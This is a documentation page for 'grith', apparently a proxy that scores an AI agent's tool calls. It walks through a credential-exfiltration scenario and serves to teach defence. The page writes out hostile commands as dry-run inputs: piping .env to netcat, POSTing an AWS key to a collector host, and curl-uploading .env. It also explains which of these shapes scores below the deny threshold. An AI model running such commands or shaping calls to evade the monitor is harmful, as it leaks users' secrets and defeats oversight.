grithdocs

Exfiltration walkthrough

A credential leaving the machine, scored call by call - and the part of it grith never sees.

Every number on this page came out of grith proxy test, which runs the real pipeline on a call you describe and prints what each filter contributed. Nothing here is sent anywhere - it is a dry run, which makes it the safest way to see how a leak would be scored before one happens.

Step 1: the read

The agent opens the project's .env.

terminal
$ grith proxy test '{"type":"FileRead","path":"/home/u/project/.env"}'
Proxy Test Result
==================================================
Tool call:   FileRead(/home/u/project/.env)
Score:       6.0
Decision:    QUEUE (High)
Reason:      Score 6.0 in escalation zone
Eval time:   1.77ms
Thresholds:  allow < 3, deny > 8
Filters:     18 active

Queued, not denied. Reading your own .env is legitimate often enough that grith asks rather than refusing. Evaluating that read also arms session containment for the next ten minutes, which is where most of the pressure on the next step comes from.

Step 2: the send, as a shell pipe

terminal
$ grith proxy test '{"type":"ShellExec","command":"bash","args":["-c","cat /home/u/project/.env | nc collector.example.net 9000"]}'
Proxy Test Result
==================================================
Tool call:   ShellExec(bash -c cat /home/u/project/.env | nc collector.example.net 9000)
Score:       8.5
Decision:    DENY
Reason:      Shell execution: bash -c cat /home/u/project/.env | nc collector.example.net 9000; Pipe output to netcat (potential exfiltration); Review outbound command token: nc
Eval time:   3.38ms
Thresholds:  allow < 3, deny > 8
Filters:     18 active

  Filter Breakdown:
  + operation-risk         1.0  [notice]  Shell execution: bash -c cat /home/u/project/.env | nc collector.example.net 9000
  . path-match             0.0
  . sensitive-path-heuristic   0.0
  . allowlist              0.0
  . argument               0.0
  . capability             0.0
  . secret-scan            0.0
  + command                4.0  [error]  Pipe output to netcat (potential exfiltration)
  . destructive-action     0.0
  + egress-policy          3.5  [warning]  Review outbound command token: nc
  . dlp-gate               0.0
  . canary                 0.0

  Exit code:   2 (deny)

1.0 + 4.0 + 3.5 = 8.5, and 8.5 is above the deny line, so the call fails with EPERM before the kernel acts on it. Note that the breakdown ends at canary, the last phase-2 filter: the composite passed the deny threshold at the end of phase 2, so phase 3 and the meta-rules never ran. A short breakdown in a DENY is normal, not a truncation.

Step 3: the send, with the credential in the payload

terminal
$ grith proxy test '{"type":"HttpRequest","url":"https://collector.example.net/u","method":"POST","body":"AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE"}'
Proxy Test Result
==================================================
Tool call:   HttpRequest(POST https://collector.example.net/u)
Score:       14.5
Decision:    DENY
Reason:      HTTP POST request (carries body): https://collector.example.net/u; AWS access key ID detected; Unknown outbound destination from http_request: collector.example.net; Secret detected in outbound arguments [aws-key]: aws-access-key
Eval time:   4.67ms
Thresholds:  allow < 3, deny > 8
Filters:     18 active

  Filter Breakdown:
  + operation-risk         1.0  [notice]  HTTP POST request (carries body): https://collector.example.net/u
  . path-match             0.0
  . sensitive-path-heuristic   0.0
  . allowlist              0.0
  . argument               0.0
  . capability             0.0
  + secret-scan            5.0  [critical]  AWS access key ID detected
  . command                0.0
  . destructive-action     0.0
  + egress-policy          3.5  [warning]  Unknown outbound destination from http_request: collector.example.net
  + dlp-gate               5.0  [error]  Secret detected in outbound arguments [aws-key]: aws-access-key
  . canary                 0.0

  Exit code:   2 (deny)

Four filters, none of which needed to know about the others. secret-scan matched the AWS key shape against its 1618 patterns, dlp-gate matched the same value as a secret leaving the machine, egress-policy did not recognise the destination, and operation-risk priced a POST with a body. The composite is a plain sum, so evidence compounds.

What grith is not doing

grith judges what is touched, not what is transferred. read, write and writev are not trapped - they are the hottest syscalls in any workload and trapping them would make supervision unaffordable. A FileWrite's content hash is a hash of the path, not the data.

So everything scored above was scored from what was visible in the call: the command line, the URL, the request body the agent handed over. Change the shape and the signal thins out:

terminal
$ grith proxy test '{"type":"ShellExec","command":"curl","args":["-X","POST","https://example.com/sink","-d","@/home/u/project/.env"]}'
Proxy Test Result
==================================================
Tool call:   ShellExec(curl -X POST https://example.com/sink -d @/home/u/project/.env)
Score:       4.5
Decision:    QUEUE (Medium)
Reason:      Score 4.5 in escalation zone
Eval time:   4.33ms
Thresholds:  allow < 3, deny > 8
Filters:     18 active

Same file, same destination, same intent - 4.5 and a review prompt, because the argv contains a path rather than a secret. That is the honest limit of the mechanism, and it is why the read in step 1 queues in the first place: the moment a credential is opened is the moment grith can still see what it is.

What actually holds the line

  • The prompt on the read. Denying step 1 ends the chain before there is anything to send.
  • Containment. For 600 seconds after a sensitive read, network egress carries an extra 4.5, which turns most "queue" outbound calls into denials.
  • A canary. A registered canary value scores 9.5 wherever it appears in an outbound call, which denies on its own regardless of destination or reputation. It is the one detection here that does not depend on a pattern matching. See Setting up canary tokens.

See also

Last updated: 2026-08-24Edit this page on GitHub →